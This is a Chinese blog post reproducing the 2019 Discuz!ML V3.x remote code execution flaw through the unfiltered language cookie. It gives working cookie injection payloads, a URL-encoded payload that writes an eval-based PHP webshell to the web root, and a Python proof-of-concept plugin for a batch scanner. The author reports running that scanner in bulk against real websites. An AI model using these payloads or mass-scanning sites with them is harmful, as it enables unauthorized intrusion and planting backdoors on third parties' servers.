Discuz!ML V3.X 代码注入复现
文章最后更新时间为:2019年09月18日 11:56:22
漏洞简介
2019年7月11日, Discuz!ML被发现存在一处远程代码执行漏洞,攻击者通过在请求流量的cookie字段中的language参数处插入构造的payload,进行远程代码执行利用。
本次漏洞是由于Discuz! ML对于cookie字段的不恰当处理造成的,cookie字段中的language参数未经过滤,直接被拼接写入缓存文件之中,而缓存文件随后又被加载,从而造成代码执行。
影响系统及版本:Discuz!ML V3.2-3.4 Discuz!x V3.2-3.4
漏洞复现
- 复现环境:windows+phpstudy(php5.6+apache)
- 漏洞源码:Discuz!X3.2 MultiLingual, Release 20160601 (链接:https://pan.baidu.com/s/1QFd8rdXn_Je6lOehSLTIWw 提取码:5ka0)
将源码中upload文件夹下面的代码复制到web目录下面,浏览器访问,安装:
网站搭建好了,我们打开burp,直接刷新抓包:
在cookies里我们可以看到wYbI_2132_language=sc
这个参数,即为漏洞点,我们将其改为wYbI_2132_language=sc'.phpinfo().';
,结果如下:
成功执行phpinfo。我们也可以写一个webshell:
sc.'.+file_put_contents('shell.php',urldecode('%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%35%30%25%34%66%25%35%33%25%35%34%25%35%62%25%32%32%25%37%61%25%32%32%25%35%64%25%32%39%25%33%62%25%33%66%25%33%65')).'
解码后写入内容为:
<?php eval($_POST["z"]);?>
然后即可在根目录下找到shell.php:
漏洞分析
直接搬大佬们的文章 -> https://www.anquanke.com/post/id/181887
poc
写了一个简单的poc,用saucerfram批量跑了一批网站,但是成功率很低,跑出来几个垃圾站,就没什么用。
以下为saucerframe上的poc:
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from plugin.target_parse import get_standard_url
from lib.core.Request import request
import re
def poc(url):
url = get_standard_url(url)
url = url + "/forum.php"
try:
r = request.get(url, timeout=5)
tmp = re.split(" |=|,", r.headers['Set-Cookie'])
field = [i for i in tmp if "language" in i]
if not field:
return False
cookie = {
field[0]: "'.phpinfo().'"
}
r = request.get(url, cookies=cookie, timeout=5)
if "PHP Version" in r.text:
return True
except:
return False
文章本次非常喜欢